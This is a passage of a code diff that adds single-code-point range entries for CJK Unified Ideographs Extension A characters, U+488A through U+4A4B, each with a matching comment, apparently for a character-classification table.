+ ["\u488A", "\u488A"], /* CJK Ideograph Extension A */
+ ["\u488B", "\u488B"], /* CJK Ideograph Extension A */
+ ["\u488C", "\u488C"], /* CJK Ideograph Extension A */
+ ["\u488D", "\u488D"], /* CJK Ideograph Extension A */
+ ["\u488E", "\u488E"], /* CJK Ideograph Extension A */
+ ["\u488F", "\u488F"], /* CJK Ideograph Extension A */
+ ["\u4890", "\u4890"], /* CJK Ideograph Extension A */
+ ["\u4891", "\u4891"], /* CJK Ideograph Extension A */
+ ["\u4892", "\u4892"], /* CJK Ideograph Extension A */
+ ["\u4893", "\u4893"], /* CJK Ideograph Extension A */
+ ["\u4894", "\u4894"], /* CJK Ideograph Extension A */
+ ["\u4895", "\u4895"], /* CJK Ideograph Extension A */
+ ["\u4896", "\u4896"], /* CJK Ideograph Extension A */
+ ["\u4897", "\u4897"], /* CJK Ideograph Extension A */
+ ["\u4898", "\u4898"], /* CJK Ideograph Extension A */
+ ["\u4899", "\u4899"], /* CJK Ideograph Extension A */
+ ["\u489A", "\u489A"], /* CJK Ideograph Extension A */
+ ["\u489B", "\u489B"], /* CJK Ideograph Extension A */
+ ["\u489C", "\u489C"], /* CJK Ideograph Extension A */
+ ["\u489D", "\u489D"], /* CJK Ideograph Extension A */
+ ["\u489E", "\u489E"], /* CJK Ideograph Extension A */
+ ["\u489F", "\u489F"], /* CJK Ideograph Extension A */
+ ["\u48A0", "\u48A0"], /* CJK Ideograph Extension A */
+ ["\u48A1", "\u48A1"], /* CJK Ideograph Extension A */
+ ["\u48A2", "\u48A2"], /* CJK Ideograph Extension A */
+ ["\u48A3", "\u48A3"], /* CJK Ideograph Extension A */
+ ["\u48A4", "\u48A4"], /* CJK Ideograph Extension A */
+ ["\u48A5", "\u48A5"], /* CJK Ideograph Extension A */
+ ["\u48A6", "\u48A6"], /* CJK Ideograph Extension A */
+ ["\u48A7", "\u48A7"], /* CJK Ideograph Extension A */
+ ["\u48A8", "\u48A8"], /* CJK Ideograph Extension A */
+ ["\u48A9", "\u48A9"], /* CJK Ideograph Extension A */
+ ["\u48AA", "\u48AA"], /* CJK Ideograph Extension A */
+ ["\u48AB", "\u48AB"], /* CJK Ideograph Extension A */
+ ["\u48AC", "\u48AC"], /* CJK Ideograph Extension A */
+ ["\u48AD", "\u48AD"], /* CJK Ideograph Extension A */
+ ["\u48AE", "\u48AE"], /* CJK Ideograph Extension A */
+ ["\u48AF", "\u48AF"], /* CJK Ideograph Extension A */
+ ["\u48B0", "\u48B0"], /* CJK Ideograph Extension A */
+ ["\u48B1", "\u48B1"], /* CJK Ideograph Extension A */
+ ["\u48B2", "\u48B2"], /* CJK Ideograph Extension A */
+ ["\u48B3", "\u48B3"], /* CJK Ideograph Extension A */
+ ["\u48B4", "\u48B4"], /* CJK Ideograph Extension A */
+ ["\u48B5", "\u48B5"], /* CJK Ideograph Extension A */
+ ["\u48B6", "\u48B6"], /* CJK Ideograph Extension A */
+ ["\u48B7", "\u48B7"], /* CJK Ideograph Extension A */
+ ["\u48B8", "\u48B8"], /* CJK Ideograph Extension A */
+ ["\u48B9", "\u48B9"], /* CJK Ideograph Extension A */
+ ["\u48BA", "\u48BA"], /* CJK Ideograph Extension A */
+ ["\u48BB", "\u48BB"], /* CJK Ideograph Extension A */
+ ["\u48BC", "\u48BC"], /* CJK Ideograph Extension A */
+ ["\u48BD", "\u48BD"], /* CJK Ideograph Extension A */
+ ["\u48BE", "\u48BE"], /* CJK Ideograph Extension A */
+ ["\u48BF", "\u48BF"], /* CJK Ideograph Extension A */
+ ["\u48C0", "\u48C0"], /* CJK Ideograph Extension A */
+ ["\u48C1", "\u48C1"], /* CJK Ideograph Extension A */
+ ["\u48C2", "\u48C2"], /* CJK Ideograph Extension A */
+ ["\u48C3", "\u48C3"], /* CJK Ideograph Extension A */
+ ["\u48C4", "\u48C4"], /* CJK Ideograph Extension A */
+ ["\u48C5", "\u48C5"], /* CJK Ideograph Extension A */
+ ["\u48C6", "\u48C6"], /* CJK Ideograph Extension A */
+ ["\u48C7", "\u48C7"], /* CJK Ideograph Extension A */
+ ["\u48C8", "\u48C8"], /* CJK Ideograph Extension A */
+ ["\u48C9", "\u48C9"], /* CJK Ideograph Extension A */
+ ["\u48CA", "\u48CA"], /* CJK Ideograph Extension A */
+ ["\u48CB", "\u48CB"], /* CJK Ideograph Extension A */
+ ["\u48CC", "\u48CC"], /* CJK Ideograph Extension A */
+ ["\u48CD", "\u48CD"], /* CJK Ideograph Extension A */
+ ["\u48CE", "\u48CE"], /* CJK Ideograph Extension A */
+ ["\u48CF", "\u48CF"], /* CJK Ideograph Extension A */
+ ["\u48D0", "\u48D0"], /* CJK Ideograph Extension A */
+ ["\u48D1", "\u48D1"], /* CJK Ideograph Extension A */
+ ["\u48D2", "\u48D2"], /* CJK Ideograph Extension A */
+ ["\u48D3", "\u48D3"], /* CJK Ideograph Extension A */
+ ["\u48D4", "\u48D4"], /* CJK Ideograph Extension A */
+ ["\u48D5", "\u48D5"], /* CJK Ideograph Extension A */
+ ["\u48D6", "\u48D6"], /* CJK Ideograph Extension A */
+ ["\u48D7", "\u48D7"], /* CJK Ideograph Extension A */
+ ["\u48D8", "\u48D8"], /* CJK Ideograph Extension A */
+ ["\u48D9", "\u48D9"], /* CJK Ideograph Extension A */
+ ["\u48DA", "\u48DA"], /* CJK Ideograph Extension A */
+ ["\u48DB", "\u48DB"], /* CJK Ideograph Extension A */
+ ["\u48DC", "\u48DC"], /* CJK Ideograph Extension A */
+ ["\u48DD", "\u48DD"], /* CJK Ideograph Extension A */
+ ["\u48DE", "\u48DE"], /* CJK Ideograph Extension A */
+ ["\u48DF", "\u48DF"], /* CJK Ideograph Extension A */
+ ["\u48E0", "\u48E0"], /* CJK Ideograph Extension A */
+ ["\u48E1", "\u48E1"], /* CJK Ideograph Extension A */
+ ["\u48E2", "\u48E2"], /* CJK Ideograph Extension A */
+ ["\u48E3", "\u48E3"], /* CJK Ideograph Extension A */
+ ["\u48E4", "\u48E4"], /* CJK Ideograph Extension A */
+ ["\u48E5", "\u48E5"], /* CJK Ideograph Extension A */
+ ["\u48E6", "\u48E6"], /* CJK Ideograph Extension A */
+ ["\u48E7", "\u48E7"], /* CJK Ideograph Extension A */
+ ["\u48E8", "\u48E8"], /* CJK Ideograph Extension A */
+ ["\u48E9", "\u48E9"], /* CJK Ideograph Extension A */
+ ["\u48EA", "\u48EA"], /* CJK Ideograph Extension A */
+ ["\u48EB", "\u48EB"], /* CJK Ideograph Extension A */
+ ["\u48EC", "\u48EC"], /* CJK Ideograph Extension A */
+ ["\u48ED", "\u48ED"], /* CJK Ideograph Extension A */
+ ["\u48EE", "\u48EE"], /* CJK Ideograph Extension A */
+ ["\u48EF", "\u48EF"], /* CJK Ideograph Extension A */
+ ["\u48F0", "\u48F0"], /* CJK Ideograph Extension A */
+ ["\u48F1", "\u48F1"], /* CJK Ideograph Extension A */
+ ["\u48F2", "\u48F2"], /* CJK Ideograph Extension A */
+ ["\u48F3", "\u48F3"], /* CJK Ideograph Extension A */
+ ["\u48F4", "\u48F4"], /* CJK Ideograph Extension A */
+ ["\u48F5", "\u48F5"], /* CJK Ideograph Extension A */
+ ["\u48F6", "\u48F6"], /* CJK Ideograph Extension A */
+ ["\u48F7", "\u48F7"], /* CJK Ideograph Extension A */
+ ["\u48F8", "\u48F8"], /* CJK Ideograph Extension A */
+ ["\u48F9", "\u48F9"], /* CJK Ideograph Extension A */
+ ["\u48FA", "\u48FA"], /* CJK Ideograph Extension A */
+ ["\u48FB", "\u48FB"], /* CJK Ideograph Extension A */
+ ["\u48FC", "\u48FC"], /* CJK Ideograph Extension A */
+ ["\u48FD", "\u48FD"], /* CJK Ideograph Extension A */
+ ["\u48FE", "\u48FE"], /* CJK Ideograph Extension A */
+ ["\u48FF", "\u48FF"], /* CJK Ideograph Extension A */
+ ["\u4900", "\u4900"], /* CJK Ideograph Extension A */
+ ["\u4901", "\u4901"], /* CJK Ideograph Extension A */
+ ["\u4902", "\u4902"], /* CJK Ideograph Extension A */
+ ["\u4903", "\u4903"], /* CJK Ideograph Extension A */
+ ["\u4904", "\u4904"], /* CJK Ideograph Extension A */
+ ["\u4905", "\u4905"], /* CJK Ideograph Extension A */
+ ["\u4906", "\u4906"], /* CJK Ideograph Extension A */
+ ["\u4907", "\u4907"], /* CJK Ideograph Extension A */
+ ["\u4908", "\u4908"], /* CJK Ideograph Extension A */
+ ["\u4909", "\u4909"], /* CJK Ideograph Extension A */
+ ["\u490A", "\u490A"], /* CJK Ideograph Extension A */
+ ["\u490B", "\u490B"], /* CJK Ideograph Extension A */
+ ["\u490C", "\u490C"], /* CJK Ideograph Extension A */
+ ["\u490D", "\u490D"], /* CJK Ideograph Extension A */
+ ["\u490E", "\u490E"], /* CJK Ideograph Extension A */
+ ["\u490F", "\u490F"], /* CJK Ideograph Extension A */
+ ["\u4910", "\u4910"], /* CJK Ideograph Extension A */
+ ["\u4911", "\u4911"], /* CJK Ideograph Extension A */
+ ["\u4912", "\u4912"], /* CJK Ideograph Extension A */
+ ["\u4913", "\u4913"], /* CJK Ideograph Extension A */
+ ["\u4914", "\u4914"], /* CJK Ideograph Extension A */
+ ["\u4915", "\u4915"], /* CJK Ideograph Extension A */
+ ["\u4916", "\u4916"], /* CJK Ideograph Extension A */
+ ["\u4917", "\u4917"], /* CJK Ideograph Extension A */
+ ["\u4918", "\u4918"], /* CJK Ideograph Extension A */
+ ["\u4919", "\u4919"], /* CJK Ideograph Extension A */
+ ["\u491A", "\u491A"], /* CJK Ideograph Extension A */
+ ["\u491B", "\u491B"], /* CJK Ideograph Extension A */
+ ["\u491C", "\u491C"], /* CJK Ideograph Extension A */
+ ["\u491D", "\u491D"], /* CJK Ideograph Extension A */
+ ["\u491E", "\u491E"], /* CJK Ideograph Extension A */
+ ["\u491F", "\u491F"], /* CJK Ideograph Extension A */
+ ["\u4920", "\u4920"], /* CJK Ideograph Extension A */
+ ["\u4921", "\u4921"], /* CJK Ideograph Extension A */
+ ["\u4922", "\u4922"], /* CJK Ideograph Extension A */
+ ["\u4923", "\u4923"], /* CJK Ideograph Extension A */
+ ["\u4924", "\u4924"], /* CJK Ideograph Extension A */
+ ["\u4925", "\u4925"], /* CJK Ideograph Extension A */
+ ["\u4926", "\u4926"], /* CJK Ideograph Extension A */
+ ["\u4927", "\u4927"], /* CJK Ideograph Extension A */
+ ["\u4928", "\u4928"], /* CJK Ideograph Extension A */
+ ["\u4929", "\u4929"], /* CJK Ideograph Extension A */
+ ["\u492A", "\u492A"], /* CJK Ideograph Extension A */
+ ["\u492B", "\u492B"], /* CJK Ideograph Extension A */
+ ["\u492C", "\u492C"], /* CJK Ideograph Extension A */
+ ["\u492D", "\u492D"], /* CJK Ideograph Extension A */
+ ["\u492E", "\u492E"], /* CJK Ideograph Extension A */
+ ["\u492F", "\u492F"], /* CJK Ideograph Extension A */
+ ["\u4930", "\u4930"], /* CJK Ideograph Extension A */
+ ["\u4931", "\u4931"], /* CJK Ideograph Extension A */
+ ["\u4932", "\u4932"], /* CJK Ideograph Extension A */
+ ["\u4933", "\u4933"], /* CJK Ideograph Extension A */
+ ["\u4934", "\u4934"], /* CJK Ideograph Extension A */
+ ["\u4935", "\u4935"], /* CJK Ideograph Extension A */
+ ["\u4936", "\u4936"], /* CJK Ideograph Extension A */
+ ["\u4937", "\u4937"], /* CJK Ideograph Extension A */
+ ["\u4938", "\u4938"], /* CJK Ideograph Extension A */
+ ["\u4939", "\u4939"], /* CJK Ideograph Extension A */
+ ["\u493A", "\u493A"], /* CJK Ideograph Extension A */
+ ["\u493B", "\u493B"], /* CJK Ideograph Extension A */
+ ["\u493C", "\u493C"], /* CJK Ideograph Extension A */
+ ["\u493D", "\u493D"], /* CJK Ideograph Extension A */
+ ["\u493E", "\u493E"], /* CJK Ideograph Extension A */
+ ["\u493F", "\u493F"], /* CJK Ideograph Extension A */
+ ["\u4940", "\u4940"], /* CJK Ideograph Extension A */
+ ["\u4941", "\u4941"], /* CJK Ideograph Extension A */
+ ["\u4942", "\u4942"], /* CJK Ideograph Extension A */
+ ["\u4943", "\u4943"], /* CJK Ideograph Extension A */
+ ["\u4944", "\u4944"], /* CJK Ideograph Extension A */
+ ["\u4945", "\u4945"], /* CJK Ideograph Extension A */
+ ["\u4946", "\u4946"], /* CJK Ideograph Extension A */
+ ["\u4947", "\u4947"], /* CJK Ideograph Extension A */
+ ["\u4948", "\u4948"], /* CJK Ideograph Extension A */
+ ["\u4949", "\u4949"], /* CJK Ideograph Extension A */
+ ["\u494A", "\u494A"], /* CJK Ideograph Extension A */
+ ["\u494B", "\u494B"], /* CJK Ideograph Extension A */
+ ["\u494C", "\u494C"], /* CJK Ideograph Extension A */
+ ["\u494D", "\u494D"], /* CJK Ideograph Extension A */
+ ["\u494E", "\u494E"], /* CJK Ideograph Extension A */
+ ["\u494F", "\u494F"], /* CJK Ideograph Extension A */
+ ["\u4950", "\u4950"], /* CJK Ideograph Extension A */
+ ["\u4951", "\u4951"], /* CJK Ideograph Extension A */
+ ["\u4952", "\u4952"], /* CJK Ideograph Extension A */
+ ["\u4953", "\u4953"], /* CJK Ideograph Extension A */
+ ["\u4954", "\u4954"], /* CJK Ideograph Extension A */
+ ["\u4955", "\u4955"], /* CJK Ideograph Extension A */
+ ["\u4956", "\u4956"], /* CJK Ideograph Extension A */
+ ["\u4957", "\u4957"], /* CJK Ideograph Extension A */
+ ["\u4958", "\u4958"], /* CJK Ideograph Extension A */
+ ["\u4959", "\u4959"], /* CJK Ideograph Extension A */
+ ["\u495A", "\u495A"], /* CJK Ideograph Extension A */
+ ["\u495B", "\u495B"], /* CJK Ideograph Extension A */
+ ["\u495C", "\u495C"], /* CJK Ideograph Extension A */
+ ["\u495D", "\u495D"], /* CJK Ideograph Extension A */
+ ["\u495E", "\u495E"], /* CJK Ideograph Extension A */
+ ["\u495F", "\u495F"], /* CJK Ideograph Extension A */
+ ["\u4960", "\u4960"], /* CJK Ideograph Extension A */
+ ["\u4961", "\u4961"], /* CJK Ideograph Extension A */
+ ["\u4962", "\u4962"], /* CJK Ideograph Extension A */
+ ["\u4963", "\u4963"], /* CJK Ideograph Extension A */
+ ["\u4964", "\u4964"], /* CJK Ideograph Extension A */
+ ["\u4965", "\u4965"], /* CJK Ideograph Extension A */
+ ["\u4966", "\u4966"], /* CJK Ideograph Extension A */
+ ["\u4967", "\u4967"], /* CJK Ideograph Extension A */
+ ["\u4968", "\u4968"], /* CJK Ideograph Extension A */
+ ["\u4969", "\u4969"], /* CJK Ideograph Extension A */
+ ["\u496A", "\u496A"], /* CJK Ideograph Extension A */
+ ["\u496B", "\u496B"], /* CJK Ideograph Extension A */
+ ["\u496C", "\u496C"], /* CJK Ideograph Extension A */
+ ["\u496D", "\u496D"], /* CJK Ideograph Extension A */
+ ["\u496E", "\u496E"], /* CJK Ideograph Extension A */
+ ["\u496F", "\u496F"], /* CJK Ideograph Extension A */
+ ["\u4970", "\u4970"], /* CJK Ideograph Extension A */
+ ["\u4971", "\u4971"], /* CJK Ideograph Extension A */
+ ["\u4972", "\u4972"], /* CJK Ideograph Extension A */
+ ["\u4973", "\u4973"], /* CJK Ideograph Extension A */
+ ["\u4974", "\u4974"], /* CJK Ideograph Extension A */
+ ["\u4975", "\u4975"], /* CJK Ideograph Extension A */
+ ["\u4976", "\u4976"], /* CJK Ideograph Extension A */
+ ["\u4977", "\u4977"], /* CJK Ideograph Extension A */
+ ["\u4978", "\u4978"], /* CJK Ideograph Extension A */
+ ["\u4979", "\u4979"], /* CJK Ideograph Extension A */
+ ["\u497A", "\u497A"], /* CJK Ideograph Extension A */
+ ["\u497B", "\u497B"], /* CJK Ideograph Extension A */
+ ["\u497C", "\u497C"], /* CJK Ideograph Extension A */
+ ["\u497D", "\u497D"], /* CJK Ideograph Extension A */
+ ["\u497E", "\u497E"], /* CJK Ideograph Extension A */
+ ["\u497F", "\u497F"], /* CJK Ideograph Extension A */
+ ["\u4980", "\u4980"], /* CJK Ideograph Extension A */
+ ["\u4981", "\u4981"], /* CJK Ideograph Extension A */
+ ["\u4982", "\u4982"], /* CJK Ideograph Extension A */
+ ["\u4983", "\u4983"], /* CJK Ideograph Extension A */
+ ["\u4984", "\u4984"], /* CJK Ideograph Extension A */
+ ["\u4985", "\u4985"], /* CJK Ideograph Extension A */
+ ["\u4986", "\u4986"], /* CJK Ideograph Extension A */
+ ["\u4987", "\u4987"], /* CJK Ideograph Extension A */
+ ["\u4988", "\u4988"], /* CJK Ideograph Extension A */
+ ["\u4989", "\u4989"], /* CJK Ideograph Extension A */
+ ["\u498A", "\u498A"], /* CJK Ideograph Extension A */
+ ["\u498B", "\u498B"], /* CJK Ideograph Extension A */
+ ["\u498C", "\u498C"], /* CJK Ideograph Extension A */
+ ["\u498D", "\u498D"], /* CJK Ideograph Extension A */
+ ["\u498E", "\u498E"], /* CJK Ideograph Extension A */
+ ["\u498F", "\u498F"], /* CJK Ideograph Extension A */
+ ["\u4990", "\u4990"], /* CJK Ideograph Extension A */
+ ["\u4991", "\u4991"], /* CJK Ideograph Extension A */
+ ["\u4992", "\u4992"], /* CJK Ideograph Extension A */
+ ["\u4993", "\u4993"], /* CJK Ideograph Extension A */
+ ["\u4994", "\u4994"], /* CJK Ideograph Extension A */
+ ["\u4995", "\u4995"], /* CJK Ideograph Extension A */
+ ["\u4996", "\u4996"], /* CJK Ideograph Extension A */
+ ["\u4997", "\u4997"], /* CJK Ideograph Extension A */
+ ["\u4998", "\u4998"], /* CJK Ideograph Extension A */
+ ["\u4999", "\u4999"], /* CJK Ideograph Extension A */
+ ["\u499A", "\u499A"], /* CJK Ideograph Extension A */
+ ["\u499B", "\u499B"], /* CJK Ideograph Extension A */
+ ["\u499C", "\u499C"], /* CJK Ideograph Extension A */
+ ["\u499D", "\u499D"], /* CJK Ideograph Extension A */
+ ["\u499E", "\u499E"], /* CJK Ideograph Extension A */
+ ["\u499F", "\u499F"], /* CJK Ideograph Extension A */
+ ["\u49A0", "\u49A0"], /* CJK Ideograph Extension A */
+ ["\u49A1", "\u49A1"], /* CJK Ideograph Extension A */
+ ["\u49A2", "\u49A2"], /* CJK Ideograph Extension A */
+ ["\u49A3", "\u49A3"], /* CJK Ideograph Extension A */
+ ["\u49A4", "\u49A4"], /* CJK Ideograph Extension A */
+ ["\u49A5", "\u49A5"], /* CJK Ideograph Extension A */
+ ["\u49A6", "\u49A6"], /* CJK Ideograph Extension A */
+ ["\u49A7", "\u49A7"], /* CJK Ideograph Extension A */
+ ["\u49A8", "\u49A8"], /* CJK Ideograph Extension A */
+ ["\u49A9", "\u49A9"], /* CJK Ideograph Extension A */
+ ["\u49AA", "\u49AA"], /* CJK Ideograph Extension A */
+ ["\u49AB", "\u49AB"], /* CJK Ideograph Extension A */
+ ["\u49AC", "\u49AC"], /* CJK Ideograph Extension A */
+ ["\u49AD", "\u49AD"], /* CJK Ideograph Extension A */
+ ["\u49AE", "\u49AE"], /* CJK Ideograph Extension A */
+ ["\u49AF", "\u49AF"], /* CJK Ideograph Extension A */
+ ["\u49B0", "\u49B0"], /* CJK Ideograph Extension A */
+ ["\u49B1", "\u49B1"], /* CJK Ideograph Extension A */
+ ["\u49B2", "\u49B2"], /* CJK Ideograph Extension A */
+ ["\u49B3", "\u49B3"], /* CJK Ideograph Extension A */
+ ["\u49B4", "\u49B4"], /* CJK Ideograph Extension A */
+ ["\u49B5", "\u49B5"], /* CJK Ideograph Extension A */
+ ["\u49B6", "\u49B6"], /* CJK Ideograph Extension A */
+ ["\u49B7", "\u49B7"], /* CJK Ideograph Extension A */
+ ["\u49B8", "\u49B8"], /* CJK Ideograph Extension A */
+ ["\u49B9", "\u49B9"], /* CJK Ideograph Extension A */
+ ["\u49BA", "\u49BA"], /* CJK Ideograph Extension A */
+ ["\u49BB", "\u49BB"], /* CJK Ideograph Extension A */
+ ["\u49BC", "\u49BC"], /* CJK Ideograph Extension A */
+ ["\u49BD", "\u49BD"], /* CJK Ideograph Extension A */
+ ["\u49BE", "\u49BE"], /* CJK Ideograph Extension A */
+ ["\u49BF", "\u49BF"], /* CJK Ideograph Extension A */
+ ["\u49C0", "\u49C0"], /* CJK Ideograph Extension A */
+ ["\u49C1", "\u49C1"], /* CJK Ideograph Extension A */
+ ["\u49C2", "\u49C2"], /* CJK Ideograph Extension A */
+ ["\u49C3", "\u49C3"], /* CJK Ideograph Extension A */
+ ["\u49C4", "\u49C4"], /* CJK Ideograph Extension A */
+ ["\u49C5", "\u49C5"], /* CJK Ideograph Extension A */
+ ["\u49C6", "\u49C6"], /* CJK Ideograph Extension A */
+ ["\u49C7", "\u49C7"], /* CJK Ideograph Extension A */
+ ["\u49C8", "\u49C8"], /* CJK Ideograph Extension A */
+ ["\u49C9", "\u49C9"], /* CJK Ideograph Extension A */
+ ["\u49CA", "\u49CA"], /* CJK Ideograph Extension A */
+ ["\u49CB", "\u49CB"], /* CJK Ideograph Extension A */
+ ["\u49CC", "\u49CC"], /* CJK Ideograph Extension A */
+ ["\u49CD", "\u49CD"], /* CJK Ideograph Extension A */
+ ["\u49CE", "\u49CE"], /* CJK Ideograph Extension A */
+ ["\u49CF", "\u49CF"], /* CJK Ideograph Extension A */
+ ["\u49D0", "\u49D0"], /* CJK Ideograph Extension A */
+ ["\u49D1", "\u49D1"], /* CJK Ideograph Extension A */
+ ["\u49D2", "\u49D2"], /* CJK Ideograph Extension A */
+ ["\u49D3", "\u49D3"], /* CJK Ideograph Extension A */
+ ["\u49D4", "\u49D4"], /* CJK Ideograph Extension A */
+ ["\u49D5", "\u49D5"], /* CJK Ideograph Extension A */
+ ["\u49D6", "\u49D6"], /* CJK Ideograph Extension A */
+ ["\u49D7", "\u49D7"], /* CJK Ideograph Extension A */
+ ["\u49D8", "\u49D8"], /* CJK Ideograph Extension A */
+ ["\u49D9", "\u49D9"], /* CJK Ideograph Extension A */
+ ["\u49DA", "\u49DA"], /* CJK Ideograph Extension A */
+ ["\u49DB", "\u49DB"], /* CJK Ideograph Extension A */
+ ["\u49DC", "\u49DC"], /* CJK Ideograph Extension A */
+ ["\u49DD", "\u49DD"], /* CJK Ideograph Extension A */
+ ["\u49DE", "\u49DE"], /* CJK Ideograph Extension A */
+ ["\u49DF", "\u49DF"], /* CJK Ideograph Extension A */
+ ["\u49E0", "\u49E0"], /* CJK Ideograph Extension A */
+ ["\u49E1", "\u49E1"], /* CJK Ideograph Extension A */
+ ["\u49E2", "\u49E2"], /* CJK Ideograph Extension A */
+ ["\u49E3", "\u49E3"], /* CJK Ideograph Extension A */
+ ["\u49E4", "\u49E4"], /* CJK Ideograph Extension A */
+ ["\u49E5", "\u49E5"], /* CJK Ideograph Extension A */
+ ["\u49E6", "\u49E6"], /* CJK Ideograph Extension A */
+ ["\u49E7", "\u49E7"], /* CJK Ideograph Extension A */
+ ["\u49E8", "\u49E8"], /* CJK Ideograph Extension A */
+ ["\u49E9", "\u49E9"], /* CJK Ideograph Extension A */
+ ["\u49EA", "\u49EA"], /* CJK Ideograph Extension A */
+ ["\u49EB", "\u49EB"], /* CJK Ideograph Extension A */
+ ["\u49EC", "\u49EC"], /* CJK Ideograph Extension A */
+ ["\u49ED", "\u49ED"], /* CJK Ideograph Extension A */
+ ["\u49EE", "\u49EE"], /* CJK Ideograph Extension A */
+ ["\u49EF", "\u49EF"], /* CJK Ideograph Extension A */
+ ["\u49F0", "\u49F0"], /* CJK Ideograph Extension A */
+ ["\u49F1", "\u49F1"], /* CJK Ideograph Extension A */
+ ["\u49F2", "\u49F2"], /* CJK Ideograph Extension A */
+ ["\u49F3", "\u49F3"], /* CJK Ideograph Extension A */
+ ["\u49F4", "\u49F4"], /* CJK Ideograph Extension A */
+ ["\u49F5", "\u49F5"], /* CJK Ideograph Extension A */
+ ["\u49F6", "\u49F6"], /* CJK Ideograph Extension A */
+ ["\u49F7", "\u49F7"], /* CJK Ideograph Extension A */
+ ["\u49F8", "\u49F8"], /* CJK Ideograph Extension A */
+ ["\u49F9", "\u49F9"], /* CJK Ideograph Extension A */
+ ["\u49FA", "\u49FA"], /* CJK Ideograph Extension A */
+ ["\u49FB", "\u49FB"], /* CJK Ideograph Extension A */
+ ["\u49FC", "\u49FC"], /* CJK Ideograph Extension A */
+ ["\u49FD", "\u49FD"], /* CJK Ideograph Extension A */
+ ["\u49FE", "\u49FE"], /* CJK Ideograph Extension A */
+ ["\u49FF", "\u49FF"], /* CJK Ideograph Extension A */
+ ["\u4A00", "\u4A00"], /* CJK Ideograph Extension A */
+ ["\u4A01", "\u4A01"], /* CJK Ideograph Extension A */
+ ["\u4A02", "\u4A02"], /* CJK Ideograph Extension A */
+ ["\u4A03", "\u4A03"], /* CJK Ideograph Extension A */
+ ["\u4A04", "\u4A04"], /* CJK Ideograph Extension A */
+ ["\u4A05", "\u4A05"], /* CJK Ideograph Extension A */
+ ["\u4A06", "\u4A06"], /* CJK Ideograph Extension A */
+ ["\u4A07", "\u4A07"], /* CJK Ideograph Extension A */
+ ["\u4A08", "\u4A08"], /* CJK Ideograph Extension A */
+ ["\u4A09", "\u4A09"], /* CJK Ideograph Extension A */
+ ["\u4A0A", "\u4A0A"], /* CJK Ideograph Extension A */
+ ["\u4A0B", "\u4A0B"], /* CJK Ideograph Extension A */
+ ["\u4A0C", "\u4A0C"], /* CJK Ideograph Extension A */
+ ["\u4A0D", "\u4A0D"], /* CJK Ideograph Extension A */
+ ["\u4A0E", "\u4A0E"], /* CJK Ideograph Extension A */
+ ["\u4A0F", "\u4A0F"], /* CJK Ideograph Extension A */
+ ["\u4A10", "\u4A10"], /* CJK Ideograph Extension A */
+ ["\u4A11", "\u4A11"], /* CJK Ideograph Extension A */
+ ["\u4A12", "\u4A12"], /* CJK Ideograph Extension A */
+ ["\u4A13", "\u4A13"], /* CJK Ideograph Extension A */
+ ["\u4A14", "\u4A14"], /* CJK Ideograph Extension A */
+ ["\u4A15", "\u4A15"], /* CJK Ideograph Extension A */
+ ["\u4A16", "\u4A16"], /* CJK Ideograph Extension A */
+ ["\u4A17", "\u4A17"], /* CJK Ideograph Extension A */
+ ["\u4A18", "\u4A18"], /* CJK Ideograph Extension A */
+ ["\u4A19", "\u4A19"], /* CJK Ideograph Extension A */
+ ["\u4A1A", "\u4A1A"], /* CJK Ideograph Extension A */
+ ["\u4A1B", "\u4A1B"], /* CJK Ideograph Extension A */
+ ["\u4A1C", "\u4A1C"], /* CJK Ideograph Extension A */
+ ["\u4A1D", "\u4A1D"], /* CJK Ideograph Extension A */
+ ["\u4A1E", "\u4A1E"], /* CJK Ideograph Extension A */
+ ["\u4A1F", "\u4A1F"], /* CJK Ideograph Extension A */
+ ["\u4A20", "\u4A20"], /* CJK Ideograph Extension A */
+ ["\u4A21", "\u4A21"], /* CJK Ideograph Extension A */
+ ["\u4A22", "\u4A22"], /* CJK Ideograph Extension A */
+ ["\u4A23", "\u4A23"], /* CJK Ideograph Extension A */
+ ["\u4A24", "\u4A24"], /* CJK Ideograph Extension A */
+ ["\u4A25", "\u4A25"], /* CJK Ideograph Extension A */
+ ["\u4A26", "\u4A26"], /* CJK Ideograph Extension A */
+ ["\u4A27", "\u4A27"], /* CJK Ideograph Extension A */
+ ["\u4A28", "\u4A28"], /* CJK Ideograph Extension A */
+ ["\u4A29", "\u4A29"], /* CJK Ideograph Extension A */
+ ["\u4A2A", "\u4A2A"], /* CJK Ideograph Extension A */
+ ["\u4A2B", "\u4A2B"], /* CJK Ideograph Extension A */
+ ["\u4A2C", "\u4A2C"], /* CJK Ideograph Extension A */
+ ["\u4A2D", "\u4A2D"], /* CJK Ideograph Extension A */
+ ["\u4A2E", "\u4A2E"], /* CJK Ideograph Extension A */
+ ["\u4A2F", "\u4A2F"], /* CJK Ideograph Extension A */
+ ["\u4A30", "\u4A30"], /* CJK Ideograph Extension A */
+ ["\u4A31", "\u4A31"], /* CJK Ideograph Extension A */
+ ["\u4A32", "\u4A32"], /* CJK Ideograph Extension A */
+ ["\u4A33", "\u4A33"], /* CJK Ideograph Extension A */
+ ["\u4A34", "\u4A34"], /* CJK Ideograph Extension A */
+ ["\u4A35", "\u4A35"], /* CJK Ideograph Extension A */
+ ["\u4A36", "\u4A36"], /* CJK Ideograph Extension A */
+ ["\u4A37", "\u4A37"], /* CJK Ideograph Extension A */
+ ["\u4A38", "\u4A38"], /* CJK Ideograph Extension A */
+ ["\u4A39", "\u4A39"], /* CJK Ideograph Extension A */
+ ["\u4A3A", "\u4A3A"], /* CJK Ideograph Extension A */
+ ["\u4A3B", "\u4A3B"], /* CJK Ideograph Extension A */
+ ["\u4A3C", "\u4A3C"], /* CJK Ideograph Extension A */
+ ["\u4A3D", "\u4A3D"], /* CJK Ideograph Extension A */
+ ["\u4A3E", "\u4A3E"], /* CJK Ideograph Extension A */
+ ["\u4A3F", "\u4A3F"], /* CJK Ideograph Extension A */
+ ["\u4A40", "\u4A40"], /* CJK Ideograph Extension A */
+ ["\u4A41", "\u4A41"], /* CJK Ideograph Extension A */
+ ["\u4A42", "\u4A42"], /* CJK Ideograph Extension A */
+ ["\u4A43", "\u4A43"], /* CJK Ideograph Extension A */
+ ["\u4A44", "\u4A44"], /* CJK Ideograph Extension A */
+ ["\u4A45", "\u4A45"], /* CJK Ideograph Extension A */
+ ["\u4A46", "\u4A46"], /* CJK Ideograph Extension A */
+ ["\u4A47", "\u4A47"], /* CJK Ideograph Extension A */
+ ["\u4A48", "\u4A48"], /* CJK Ideograph Extension A */
+ ["\u4A49", "\u4A49"], /* CJK Ideograph Extension A */
+ ["\u4A4A", "\u4A4A"], /* CJK Ideograph Extension A */
+ ["\u4A4B", "\u4A4B"], /* CJK Ideograph Extension A */
